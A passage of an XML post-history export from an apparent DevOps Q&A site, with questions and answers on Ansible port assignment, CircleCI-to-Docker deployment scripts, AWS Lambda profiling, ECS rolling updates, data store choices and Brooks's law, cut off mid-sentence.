  <row Id="736" PostHistoryTypeId="5" PostId="140" RevisionGUID="0bd9c583-9c96-49d4-bf04-39a0ce0efa58" CreationDate="2017-03-02T22:59:36.897" UserId="40" Comment="integrate comment from OPer" Text="You have to understand that processes change people who follow them. As people learn, internalize and get better at a process, it changes the way they learn how to solve a particular problem. A set of similar processes reinforce each other into a mindset the person uses to solve a category of problems and eventually form a set of values that guides decisions and new solutions to new problems.&#xD;&#xA;&#xD;&#xA;Even if you change the process, without the change to the mindset and even more crucial to the values, the person will simply adapt the new process to conform to the same values, same mindset or even same solution as in the original process. At a certain point, it is not possible to divorce this person in this position from the mindset acquired or change the underlying values.&#xD;&#xA;&#xD;&#xA;To institute a change, you have the following two options: &#xD;&#xA;&#xD;&#xA; 1. Bring in a person who will already have the right values and mindset and in best case scenario, understand the process that needs to be followed without your help.&#xD;&#xA; 2. Bring in and empower new employee, either recently hired, a new hire or a transfer from a different team in the organization and train him in the new process, hoping to instill the new mindset, hoping the new set of values will emerge.&#xD;&#xA;&#xD;&#xA;If the change is local, you might prefer an internal transfer as that person would already share the global company wide values which you want to retain. In case of a larger change, you need to bring in someone from outside to have a fresh perspective and to not share the company wide values which you might be trying to change.&#xD;&#xA;&#xD;&#xA;The important part is to empower the person, team or business unit to follow the processes and insulate them from the old team, other teams or the rest of the company, respectively, which might still follow the old set of processes. As it is very hard to insulate such change agent from management above, if the change is to be larger, it often needs to follow all the way up the management chain or come all the way from the top of it.&#xD;&#xA;&#xD;&#xA;**Note**: It is hard to bring change to more than just your team without the support of management. Even inside your team it is difficult if others are already set in their ways. For a new team in a new company a successful evangelist can often affect the forming policies even without the support of management simply by being a leader or creating the path of least resistance for others to follow. But in established company, see above." ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostHistoryTypeId="24" PostId="140" RevisionGUID="0bd9c583-9c96-49d4-bf04-39a0ce0efa58" CreationDate="2017-03-02T22:59:36.897" Comment="Proposed by 40 approved by 6, 13 edit id of 37" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostHistoryTypeId="5" PostId="208" RevisionGUID="53ae5180-45c3-436b-9d93-76a764ad7804" CreationDate="2017-03-02T22:59:43.570" UserId="14" Comment="Capitalisation of Ansible and ports; grammar of final sentence; title." Text="I am new to Ansible, but I have to maintain a set of playbooks, which correspond to services to be setup in a given environment. They need to be assigned a port, certificates, etc. This results in many files with lists of essentially always the same names and an assignment to them.&#xD;&#xA;&#xD;&#xA;In many cases I think I can easily reuse the service_name as variable, but when mapping to IPs, ports or other numeric identifiers I have not yet figured out a way to deterministically assign them different numbers in a way that is reproducible, and preferably remains the same even when new services are added. I have considered using a SQLite database to store the services from and to generate the values from their ids, but I have no idea how to integrate that with Ansible.&#xD;&#xA;&#xD;&#xA;I assume that assigning increasing port numbers is not something entirely new; it is something a lot of sysadmins to on a day-to-day basis so there has to be some way to do that.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostHistoryTypeId="4" PostId="208" RevisionGUID="53ae5180-45c3-436b-9d93-76a764ad7804" CreationDate="2017-03-02T22:59:43.570" UserId="14" Comment="Capitalisation of Ansible and ports; grammar of final sentence; title." Text="Deterministically and reproducably assign increasing port numbers in Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostHistoryTypeId="24" PostId="208" RevisionGUID="53ae5180-45c3-436b-9d93-76a764ad7804" CreationDate="2017-03-02T22:59:43.570" Comment="Proposed by 14 approved by 6, 13 edit id of 59" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostHistoryTypeId="2" PostId="251" RevisionGUID="387e6e25-815c-4285-b58d-a01471a1ead9" CreationDate="2017-03-02T23:29:44.160" UserId="201" Text="My circle.yml file and my CircleCI account are set up to use Docker for testing already, but I'd like to move to continuous deployment upon a successful build.&#xD;&#xA;&#xD;&#xA;Here's what I have so far in circle.yml:&#xD;&#xA;&#xD;&#xA;    machine:&#xD;&#xA;      services:&#xD;&#xA;        - docker&#xD;&#xA;    &#xD;&#xA;    dependencies:&#xD;&#xA;      override:&#xD;&#xA;        - docker info&#xD;&#xA;        - docker build -t pgeiss/appname .&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      override:&#xD;&#xA;        - docker run -d -p 8080:8080 pgeiss/appname; sleep 10&#xD;&#xA;        - curl --retry 10 --retry-delay 5 -v http://localhost:8080/res.json" ContentLicense="CC BY-SA 3.0" />
  <row Id="742" PostHistoryTypeId="1" PostId="251" RevisionGUID="387e6e25-815c-4285-b58d-a01471a1ead9" CreationDate="2017-03-02T23:29:44.160" UserId="201" Text="How do I automate deployment to Docker with CircleCI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="743" PostHistoryTypeId="3" PostId="251" RevisionGUID="387e6e25-815c-4285-b58d-a01471a1ead9" CreationDate="2017-03-02T23:29:44.160" UserId="201" Text="&lt;docker&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="744" PostHistoryTypeId="2" PostId="252" RevisionGUID="7a1bc5f4-7ead-4373-8674-c070363db781" CreationDate="2017-03-02T23:29:44.160" UserId="201" Text="A few things need to happen for this to work properly. First, add a `deployment` section to circle.yml:&#xD;&#xA;&#xD;&#xA;    deployment:&#xD;&#xA;      main: # or whatever your deployment is called&#xD;&#xA;        branch: master # or whatever branch you want to deploy&#xD;&#xA;        commands:&#xD;&#xA;          - docker login -e (your email here) -u (your username here) -p (your password here)&#xD;&#xA;          - docker push pgeiss/appname&#xD;&#xA;          - ./start.sh&#xD;&#xA;&#xD;&#xA;*Thanks to [this blog post][1] for the following script.* Then, make a file called start.sh in the top level of your repository (if you use a different name, change the circle.yml's last line) that contains the following:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    &#xD;&#xA;    echo &quot;stopping running application&quot;&#xD;&#xA;    ssh $DEPLOY_USER@$DEPLOY_HOST 'docker stop dodsv'&#xD;&#xA;    ssh $DEPLOY_USER@$DEPLOY_HOST 'docker rm dodsv'&#xD;&#xA;    &#xD;&#xA;    echo &quot;pulling latest version of the code&quot;&#xD;&#xA;    ssh $DEPLOY_USER@$DEPLOY_HOST 'docker pull pgeiss/appname-webapp:latest'&#xD;&#xA;    &#xD;&#xA;    echo &quot;starting the new version&quot;&#xD;&#xA;    ssh $DEPLOY_USER@$DEPLOY_HOST 'docker run -d --restart=always --name dodsv -p 80:5432 pgeiss/appname:latest'&#xD;&#xA;    &#xD;&#xA;    echo &quot;success!&quot;&#xD;&#xA;    &#xD;&#xA;    exit 0&#xD;&#xA;&#xD;&#xA;Finally, to allow the script to work you'll need to set the script to be executable with `chmod` and add the environment variables and your `DEPLOY_USER`'s ssh key (preferably) or credentials (if no ssh key) to CircleCI. After doing that CircleCI should deploy your app after a successful build.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mikeheijmans.com/docker/2015/09/07/automated-docker-deployment-with-circle/" ContentLicense="CC BY-SA 3.0" />
  <row Id="745" PostHistoryTypeId="5" PostId="230" RevisionGUID="509da6e5-56ee-4e8d-9aed-833002c38015" CreationDate="2017-03-02T23:43:25.780" UserId="47" Comment="added clarification" Text="In a **mature** DevOps organisation would choosing a product/product line integration branch strategy be part of DevOps?&#xD;&#xA;&#xD;&#xA;What do I mean by integration branch strategy?&#xD;&#xA;&#xD;&#xA;For example a product team has to integrate 20 features in a certain interval of time to meet some time to market release requirements. &#xD;&#xA;&#xD;&#xA;One potential approach would be to use feature branches in a waterfall manner as they've deen doing for years - each feature is developed and tested in their own branch and only merged into the main branch (from which the release branch will be pulled) after metting the respective feature QA goals. &#xD;&#xA;&#xD;&#xA;But the total integration time estimate - 20 feature branch merge windows multiplied by the average merge duration (from the team's branch merge historical data) is maybe too high.&#xD;&#xA;&#xD;&#xA;Another approach is to pull say 4 intermediate integration branches, each of which being used by 5 of the features branches. This way all 20 features will be integrated into the 4 intermediate branches in a 5 branch merge windows interval. Which would be followed by a 4 other branch merge windows interval for integrating these 4 branches into the main branch, bringing the total integration estimate to 9 windows, much better than 20. Yes, some of the gain will probably be cancelled by higher degree of difficulty of last 4 merges.&#xD;&#xA;&#xD;&#xA;Another approach would be to go straight for trunk-based development (true CI integration into the main branch) with practically no branch merges.&#xD;&#xA;&#xD;&#xA;The process of selecting one such strategy is what I'm referring to as branch strategy.&#xD;&#xA;&#xD;&#xA;Note: the actual SCM repository is irrelevant, it can be any combination of repos managed together as a single one, the term `branch` denotes just the common logical representation of whatever physical/actual repo branches exist in that combination." ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostHistoryTypeId="2" PostId="254" RevisionGUID="70ee2933-91ba-4e26-b783-8eb1a4a2ad71" CreationDate="2017-03-03T01:31:39.423" UserId="6" Text="We have multiple EC2 instances hosting our micro-services. The autoscaling group of servers has an ELB. All traffic is routed via the AWS API Gateway. The problem is that the ELB has its HTTPS port open to the world.&#xD;&#xA;&#xD;&#xA;How to protect our servers, so that traffic is only allowed to pass through API Gateway?" ContentLicense="CC BY-SA 3.0" />
  <row Id="750" PostHistoryTypeId="1" PostId="254" RevisionGUID="70ee2933-91ba-4e26-b783-8eb1a4a2ad71" CreationDate="2017-03-03T01:31:39.423" UserId="6" Text="How do I recognize AWS API Gateway calls on my EC2 instances behind an ELB?" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostHistoryTypeId="3" PostId="254" RevisionGUID="70ee2933-91ba-4e26-b783-8eb1a4a2ad71" CreationDate="2017-03-03T01:31:39.423" UserId="6" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostHistoryTypeId="2" PostId="255" RevisionGUID="d9f2511d-bc3a-4e92-bd09-32ebd0937e39" CreationDate="2017-03-03T01:37:14.607" UserId="6" Text="AWS Lambda cost is dependent on the time a function runs, and to some extent on memory footprint. Having functions that finish faster, and take up less memory can save quite a lot of money. Especially when such a function is executed often.&#xD;&#xA;&#xD;&#xA;**How can a Node.js Lambda function be tuned for speed and small memory footprint to save on cost?**&#xD;&#xA;&#xD;&#xA;Are there other aspects for Lambda that are advantageous to improve?" ContentLicense="CC BY-SA 3.0" />
  <row Id="753" PostHistoryTypeId="1" PostId="255" RevisionGUID="d9f2511d-bc3a-4e92-bd09-32ebd0937e39" CreationDate="2017-03-03T01:37:14.607" UserId="6" Text="How to performance test AWS Lambda functions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="754" PostHistoryTypeId="3" PostId="255" RevisionGUID="d9f2511d-bc3a-4e92-bd09-32ebd0937e39" CreationDate="2017-03-03T01:37:14.607" UserId="6" Text="&lt;aws-lambda&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostHistoryTypeId="2" PostId="256" RevisionGUID="0580f7a3-0fe1-48a8-bb79-ad7fbd1cf953" CreationDate="2017-03-03T02:16:00.890" UserId="228" Text=" **Brooks's law:** *Adding manpower to a late software project makes it later.*&#xD;&#xA;&#xD;&#xA;In his book *No Silver Bullet — Essence and Accidents of Software Engineering* Frederick Brooks defines the concept of [Mythical Man Month][1]&#xD;&#xA;&#xD;&#xA;But since 1982 we have certainly moved forward and gathered some more experience in mitigating this problem. What are some of the solutions that you have successfully applied at your work to add resources to a project without creating more problems.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/The_Mythical_Man-Month" ContentLicense="CC BY-SA 3.0" />
  <row Id="756" PostHistoryTypeId="1" PostId="256" RevisionGUID="0580f7a3-0fe1-48a8-bb79-ad7fbd1cf953" CreationDate="2017-03-03T02:16:00.890" UserId="228" Text="What are ways to mitigate the effects of Mythical Man Month?" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostHistoryTypeId="3" PostId="256" RevisionGUID="0580f7a3-0fe1-48a8-bb79-ad7fbd1cf953" CreationDate="2017-03-03T02:16:00.890" UserId="228" Text="&lt;project-management&gt;&lt;process&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="758" PostHistoryTypeId="2" PostId="257" RevisionGUID="3159c596-cf62-46a3-92e5-74bff053c5bc" CreationDate="2017-03-03T02:44:36.300" UserId="46" Text="I might not be able to answer it completely, but here are my views from my limited experience with lambda:&#xD;&#xA;&#xD;&#xA; 1. **Speed-Performance:** The duration of a single run of a lambda function will be present in the dashboard of the Lambda's `monitoring` tab, which looks something like this:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;So do throttles/errors/number of invocations.&#xD;&#xA;&#xD;&#xA; 2. **One can also set up CloudWatch filters for the memory usage** of a lambda function, whose data can be used to further optimize your handler. [This] [2]is a decent post on how to set one up.&#xD;&#xA; 3. Also, **set up proper logging**, so that you can later go through the logs in CloudWatch.  This isn't an optimization hack per se, but more of a best practise&#xD;&#xA; 4. **Testing**: Test your lambda functions thoroughly, so that you don't miss out on edge cases. This is important, as lambda retries failed functions before giving up. So, you can save up on time forehand if you tested the function properly. [Guide to testing Lambda functions][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/wp87u.png&#xD;&#xA;  [2]: https://forums.aws.amazon.com/thread.jspa?threadID=226674&#xD;&#xA;  [3]: http://docs.aws.amazon.com/lambda/latest/dg/with-on-demand-https-example-create-test-manually.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostHistoryTypeId="2" PostId="258" RevisionGUID="3a26f190-e04f-4876-ae36-aeb08ac4c492" CreationDate="2017-03-03T03:45:47.250" UserId="77" Text="I am using AWS Code Pipeline, Code Build to create a new Docker container and push it to ECR.&#xA;&#xA;My application is a simple straight forward single Container based. What would be less friction approach to pull down current running Container and re-launch a new Container from the ECS registry (output of Code Build thru Code Pipeline).&#xA;&#xA;I tried CloudFormation with EC2 user data, custom scripts on one side and CloudFormation with ECS with task definition on the other side (not successful yet). I strongly feel there must be more obvious and simpler approach." ContentLicense="CC BY-SA 3.0" />
  <row Id="760" PostHistoryTypeId="1" PostId="258" RevisionGUID="3a26f190-e04f-4876-ae36-aeb08ac4c492" CreationDate="2017-03-03T03:45:47.250" UserId="77" Text="Simple CI/CD Containers in AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="761" PostHistoryTypeId="3" PostId="258" RevisionGUID="3a26f190-e04f-4876-ae36-aeb08ac4c492" CreationDate="2017-03-03T03:45:47.250" UserId="77" Text="&lt;amazon-web-services&gt;&lt;docker&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="762" PostHistoryTypeId="2" PostId="259" RevisionGUID="255cb92e-f18b-446b-82f7-a9e2996904ea" CreationDate="2017-03-03T03:57:08.497" UserId="246" Text="Dawny33 response is good, but I would start earlier in the development process.&#xD;&#xA;&#xD;&#xA;Keeping an eye on your cloud environment to make sure that your functions behaves as you expect (including your &quot;production&quot; functions, which might operate on a different data set) is crucial, because it might reveal things that are impossible to reproduce locally or with a test data-set.&#xD;&#xA;&#xD;&#xA;Nonetheless, I would say that this performance testing that you do in an optimization purpose should start straight from the developer's machine. Or, at least, from some local environment before pushing to the cloud.&#xD;&#xA;&#xD;&#xA;The reason I say so is that while AWS Lambdas are amazing on many points, the fact that you don't have a full control on the server will limit your instrumentation abilities. I'm not saying instrumentation is impossible when in serverless, but try figuring out how many CPU interrupts you have (and how many are caused by *your* code) just for fun ;)&#xD;&#xA;&#xD;&#xA;So what I advise, and this is actually not limited to serverless, is to start the profiling early. Make sure that not only your code works, but that it works the way you expect it to. Don't over optimize, but keep a critical eye on CPU and memory usage. Should a 2MB array really grow to 10MB when you sort it? Probably not.&#xD;&#xA;&#xD;&#xA;Then you will be able to use tools mentioned by Dawny33, or some other tools, to confirm that your functions perform similarly when deployed to Lambda. You will however already have a very high level of confidence in your function and will only need to validate that they behave properly, not fully profile them." ContentLicense="CC BY-SA 3.0" />
  <row Id="763" PostHistoryTypeId="5" PostId="259" RevisionGUID="7df71e24-6643-4060-a2df-bf8593747b67" CreationDate="2017-03-03T04:16:52.413" UserId="246" Comment="Added more information on the actual profiling part." Text="Dawny33 response is good, but I would start earlier in the development process.&#xD;&#xA;&#xD;&#xA;Keeping an eye on your cloud environment to make sure that your functions behaves as you expect (including your &quot;production&quot; functions, which might operate on a different data set) is crucial, because it might reveal things that are impossible to reproduce locally or with a test data-set.&#xD;&#xA;&#xD;&#xA;Nonetheless, I would say that this performance testing that you do in an optimization purpose should start straight from the developer's machine. Or, at least, from some local environment before pushing to the cloud.&#xD;&#xA;&#xD;&#xA;The reason I say so is that while AWS Lambdas are amazing on many points, the fact that you don't have a full control on the server will limit your instrumentation abilities. I'm not saying instrumentation is impossible when in serverless, but try figuring out how many CPU interrupts you have (and how many are caused by *your* code) just for fun ;)&#xD;&#xA;&#xD;&#xA;So what I advise, and this is actually not limited to serverless, is to start the profiling early. NodeJS profiling can be made with many different tools, NewRelic, dynatrace and AppDynamic are some of the big players. There is also smaller player, some of them are just a NPM package to install (like Nodefly). Whatever tool you choose, you want to install it locally and collect profiling data. That might involve running an agent or including a package in your package.json. Your tool's instructions will tell you how to install it. A good profiler will let you know how much memory and CPU you use. Better tools will give you insight on how many remote calls were made, how long they took. Use the profiling data that the tool gives you to identify bottlenecks and address them. There's no limit on how much profiling you can make. Some people (crazy?) will look at the system calls of their most critical function. You might have to do that kind of thing if you want to shave nanoseconds of your function (but then, maybe AWS Lambda isn't the best choice to start with).&#xD;&#xA;&#xD;&#xA;Make sure that not only your code works, but that it works the way you expect it to. Don't over optimize, but keep a critical eye on CPU and memory usage. Should a 2MB array really grow to 10MB when you sort it? Probably not.&#xD;&#xA;&#xD;&#xA;Then you will be able to use tools mentioned by Dawny33, or some other tools, to confirm that your functions perform similarly when deployed to Lambda. You will however already have a very high level of confidence in your function and will only need to validate that they behave properly, not fully profile them." ContentLicense="CC BY-SA 3.0" />
  <row Id="764" PostHistoryTypeId="5" PostId="259" RevisionGUID="aa93d089-0f5c-48b7-b3ec-759b9dc69e21" CreationDate="2017-03-03T04:22:30.470" UserId="246" Comment="Added more information on the actual profiling part. Added a note about the built-in profiler and why I don't talk about AWS Lambda optimization but rather NodejS optimization." Text="Dawny33 response is good, but I would start earlier in the development process.&#xD;&#xA;&#xD;&#xA;Keeping an eye on your cloud environment to make sure that your functions behaves as you expect (including your &quot;production&quot; functions, which might operate on a different data set) is crucial, because it might reveal things that are impossible to reproduce locally or with a test data-set.&#xD;&#xA;&#xD;&#xA;Nonetheless, I would say that this performance testing that you do in an optimization purpose should start straight from the developer's machine. Or, at least, from some local environment before pushing to the cloud.&#xD;&#xA;&#xD;&#xA;The reason I say so is that while AWS Lambdas are amazing on many points, the fact that you don't have a full control on the server will limit your instrumentation abilities. I'm not saying instrumentation is impossible when in serverless, but try figuring out how many CPU interrupts you have (and how many are caused by *your* code) just for fun ;)&#xD;&#xA;&#xD;&#xA;So what I advise, and this is actually not limited to serverless, is to start the profiling early. NodeJS profiling can be made with many different tools, NewRelic, dynatrace and AppDynamic are some of the big players. There is also smaller player, some of them are just a NPM package to install (like Nodefly). It is also possible to do some NodeJS without any additional tool, as there is a profiler built into the V8 engine. [This documentation][1] from NodeJS will get you started.&#xD;&#xA;&#xD;&#xA;Whatever tool you choose, you want to install it locally and collect profiling data. That might involve running an agent or including a package in your package.json. Your tool's instructions will tell you how to install it. A good profiler will let you know how much memory and CPU you use. Better tools will give you insight on how many remote calls were made, how long they took.&#xD;&#xA;&#xD;&#xA;Use the profiling data that the tool gives you to identify bottlenecks and address them. There's no limit on how much profiling you can make. Some people (crazy?) will look at the system calls of their most critical function. You might have to do that kind of thing if you want to shave nanoseconds of your function (but then, maybe AWS Lambda isn't the best choice to start with).&#xD;&#xA;&#xD;&#xA;It's also worth noting at this point that I haven't mentioned anything specific to AWS Lambda. That's because your optimizations will most likely not be AWS Lambda specific (after all, in serverless you shouldn't be worried about the server/environment).&#xD;&#xA;&#xD;&#xA;Make sure that not only your code works, but that it works the way you expect it to. Don't over optimize, but keep a critical eye on CPU and memory usage. Should a 2MB array really grow to 10MB when you sort it? Probably not.&#xD;&#xA;&#xD;&#xA;Then you will be able to use tools mentioned by Dawny33, or some other tools, to confirm that your functions perform similarly when deployed to Lambda. You will however already have a very high level of confidence in your function and will only need to validate that they behave properly, not fully profile them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://nodejs.org/en/docs/guides/simple-profiling/" ContentLicense="CC BY-SA 3.0" />
  <row Id="766" PostHistoryTypeId="5" PostId="257" RevisionGUID="5b78e287-06d8-42f3-bda2-48526c64453f" CreationDate="2017-03-03T04:35:09.853" UserId="46" Comment="edited body" Text="I might not be able to answer it completely, but here are my views from my limited experience with lambda:&#xD;&#xA;&#xD;&#xA; 1. **Speed-Performance:** The duration of a single run of a lambda function will be present in the dashboard of the Lambda's `monitoring` tab, which looks something like this:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;So do throttles/errors/number of invocations.&#xD;&#xA;&#xD;&#xA; 2. **One can also set up CloudWatch filters for the memory usage** of a lambda function, whose data can be used to further optimize your handler. [This][2] is a decent post on how to set one up.&#xD;&#xA; 3. Also, **set up proper logging**, so that you can later go through the logs in CloudWatch.  This isn't an optimization hack per se, but more of a best practise&#xD;&#xA; 4. **Testing**: Test your lambda functions thoroughly, so that you don't miss out on edge cases. This is important, as lambda retries failed functions before giving up. So, you can save up on time forehand if you tested the function properly. [Guide to testing Lambda functions][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/wp87u.png&#xD;&#xA;  [2]: https://forums.aws.amazon.com/thread.jspa?threadID=226674&#xD;&#xA;  [3]: http://docs.aws.amazon.com/lambda/latest/dg/with-on-demand-https-example-create-test-manually.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="768" PostHistoryTypeId="2" PostId="261" RevisionGUID="b069ce40-f920-4892-baae-4f063aff3cad" CreationDate="2017-03-03T04:52:26.570" UserId="46" Text="I have multiple lambda functions, which a file passes through for processing, and I want to store the status of each computation in a counter, for better logging and monitoring.&#xD;&#xA;&#xD;&#xA;Current plan is to log it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    file-name  Lambda1  Lambda2 Lambda3&#xD;&#xA;    Name1      Done     Done    In-process&#xD;&#xA;&#xD;&#xA;And, I'll be updating the values as `Received`, `In-process` and `Done` under the respective Lambda functions for the file.&#xD;&#xA;&#xD;&#xA;So, 2 doubts:&#xD;&#xA;&#xD;&#xA; 1. **Is this a good practise?** If not, then is there a better alternative for the same?&#xD;&#xA; 2. **If it is, then what would make a better/cheaper store?  RDS or DynamoDB?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostHistoryTypeId="1" PostId="261" RevisionGUID="b069ce40-f920-4892-baae-4f063aff3cad" CreationDate="2017-03-03T04:52:26.570" UserId="46" Text="DynamoDB vs RDS for a counter store?" ContentLicense="CC BY-SA 3.0" />
  <row Id="770" PostHistoryTypeId="3" PostId="261" RevisionGUID="b069ce40-f920-4892-baae-4f063aff3cad" CreationDate="2017-03-03T04:52:26.570" UserId="46" Text="&lt;aws-lambda&gt;&lt;amazon-rds&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostHistoryTypeId="2" PostId="262" RevisionGUID="d94b34d6-4e0f-454a-be1c-c339e1fb79a8" CreationDate="2017-03-03T05:13:37.867" UserId="246" Text="I would keep the ECS container instances (I'm talking about the *Docker hosts* - I don't like AWS terminology here) and the deployment as two separate things.&#xD;&#xA;&#xD;&#xA;Get your ECS stack up and running. You can manage it through CloudFormation and Auto-scaling groups, that's fine. Just think of your cluster as a platform where you will deploy *to*, not something you need to *redeploy*.&#xD;&#xA;&#xD;&#xA;Then, for CD, the easiest method by far is to update the service definition to use a new task definition and let ECS rolling update the containers for you.&#xD;&#xA;&#xD;&#xA;Every time it start a task, ECS will run docker pull image:tag even if it has the image locally to make sure it has the latest version of that image:tag. So the image tag you use really don't matter (there is no need to change the tag on every build).&#xD;&#xA;&#xD;&#xA;That means that you can build myimage:latest over and over in order to deploy it easily.&#xD;&#xA;&#xD;&#xA;What you need is a task definition where the image = myimage:latest. Create a service with that task definition and every time that ECS start a task (an instance of your service) it will be the most recent &quot;myimage:latest&quot; you have built.&#xD;&#xA;&#xD;&#xA;From there, you are missing only one piece in the puzzle, from CodeDeploy, you can call something, perhaps a lambda function, to create a new revision of your task definition and update your service and ECS will automatically create new tasks for that revision and remove the old tasks.&#xD;&#xA;&#xD;&#xA;An example:&#xD;&#xA;&#xD;&#xA;Let's assume you have created a service called MyService. That you have configured that service to run 2 tasks for the task definition MyTaskDefinition:1 (revision 1). In that task definition, you have one container definition which image is set to &quot;myimage:latest&quot;.&#xD;&#xA;&#xD;&#xA; 1. Yesterday you have build myimage:latest which had the ID (SHA) 365d8f7bf565.&#xD;&#xA; 2. Your container instance ABC is running a task named MyTaskDefinition-**1**-containerName-someLongId. when you inspect that container, it's running the image &quot;sha256:365d8f7bf565..........&quot;&#xD;&#xA; 3. Your other container instance DEF is running another task. It has a similar name (only the ID differ), but it's running the same image.&#xD;&#xA; 4. You push a change to your repo.&#xD;&#xA; 5. CodePipeline picks up that change, build and publish the image to ECR.&#xD;&#xA; 6. That new Docker image is also myimage:latest, but its ID (SHA) is f7ec5e54ac96&#xD;&#xA; 7. Now you need to add a step to your pipeline to use Lambda functions and the AWS NodeJS SDK to do some calls to your cluster:&#xD;&#xA;    1. Create a new task definition (which will be exactly the same as before). That will be MyTaskDefinition:2&#xD;&#xA;    2. Update your MyService to use MyTaskDefinition:2 (instead of 1)&#xD;&#xA; 8. ECS will create new tasks. The container names will MyTaskDefinition-**2**-containerName-someLongId. When you inspect those containers, you'll see that they will be running &quot;sha256:f7ec5e54ac96.......&quot;. Perhaps you'll have 2 tasks on the container instance ABC, perhaps they will be sprayed out (that depends on your service's configuration)&#xD;&#xA; 9. After some time ECS will remove the old task MyTaskDefinition-1-containerName-someLongId from ABC and DEF.&#xD;&#xA;&#xD;&#xA;Note: you don't actually need to create a new task definition. If you want you could instead retrieve the service's tasks list and manually stop them one by one. You should wait for ECS to restart a task before stoping a new one (that is: stop the first container, wait for ECS to replace it, stop the second container). When ECS restart the container, it will grab the most recent myimage:latest built, as explained before. I just think creating a new task definition is easier and less error prone (no logic required to wait and check, ECS will handle the rolling update for you if you have a new task definition)." ContentLicense="CC BY-SA 3.0" />
  <row Id="772" PostHistoryTypeId="2" PostId="263" RevisionGUID="695fd42c-979c-4e04-8d31-8b326885332b" CreationDate="2017-03-03T05:23:17.197" UserId="2" Text="Why not something like Redis? (can use it through ElastiCache). Hard to answer this without knowing the operational requirements of this project. Is this data strictly for logging/research, or is it operational (i.e. this &quot;table&quot; is consulted in order to know which lambda to invoke).&#xD;&#xA;&#xD;&#xA;Dynamo vs. RDS - depends how spiky your traffic is. Dynamo is very scalable and will give you a guaranteed throughput. But if you traffic can grow 10x over hours (spiky) Dynamo might be too expensive, since you'll need the maximum throughput provisioned or else you'll get throttled.&#xD;&#xA;&#xD;&#xA;RDS is basically managed RDBMS on an instance type that you choose, so it can handle larger spikes, but ultimately not as scalable as Dynamo.&#xD;&#xA;&#xD;&#xA;Again, I would consider Redis, for it's simplicity (seems like you just need a KV/counter store), and incredible speed/efficiency. If it's just for logging, it's probably good enough.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostHistoryTypeId="5" PostId="261" RevisionGUID="6a282570-7888-4e2b-a3b5-53d999e6ca59" CreationDate="2017-03-03T05:28:11.210" UserId="2" Comment="spelling fix" Text="I have multiple lambda functions, which a file passes through for processing, and I want to store the status of each computation in a counter, for better logging and monitoring.&#xD;&#xA;&#xD;&#xA;Current plan is to log it like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    file-name  Lambda1  Lambda2 Lambda3&#xD;&#xA;    Name1      Done     Done    In-process&#xD;&#xA;&#xD;&#xA;And, I'll be updating the values as `Received`, `In-process` and `Done` under the respective Lambda functions for the file.&#xD;&#xA;&#xD;&#xA;So, two doubts:&#xD;&#xA;&#xD;&#xA; 1. **Is this a good practice?** If not, then is there a better alternative for the same?&#xD;&#xA; 2. **If it is, then what would make a better/cheaper store? RDS or DynamoDB?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="774" PostHistoryTypeId="24" PostId="261" RevisionGUID="6a282570-7888-4e2b-a3b5-53d999e6ca59" CreationDate="2017-03-03T05:28:11.210" Comment="Proposed by 2 approved by 46 edit id of 73" ContentLicense="CC BY-SA 3.0" />
  <row Id="775" PostHistoryTypeId="2" PostId="264" RevisionGUID="bb553322-8b38-46d0-8c9e-20859bad6456" CreationDate="2017-03-03T05:30:35.320" UserId="6" Text="**Possibility to mitigate the MMM**&#xD;&#xA;&#xD;&#xA;In 2015, PuppetLabs and IT Revolution published the results of the [2015 State of DevOps Report][1]. In that report, they focussed on the distinction between high performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;The high-performing organizations show some unexpected properties. For example, they have the best project due-date performance in development. Best operational stability and reliability in operations. As well as the best security and compliance track record.&#xD;&#xA;&#xD;&#xA;One of the surprising things highlighted in the report is the deployments per day metric. But not just deployments per day, they also measured deploy/day/developer and what is the effect of adding more developers in high-performing organizations vs. non-high performing.&#xD;&#xA;&#xD;&#xA;This is the graph from that report -&#xD;&#xA;&#xD;&#xA;[![Deployments per Day per Developer][2]][2]&#xD;&#xA;&#xD;&#xA;While low-performing organizations align with Mythical Man Month assumptions. The high-performing organizations can scale the number of deploy/day/dev linearly with the number of developers.&#xD;&#xA;&#xD;&#xA;An excellent presentation at [DevOpsDays London 2016][3] by Gene Kim talks about these 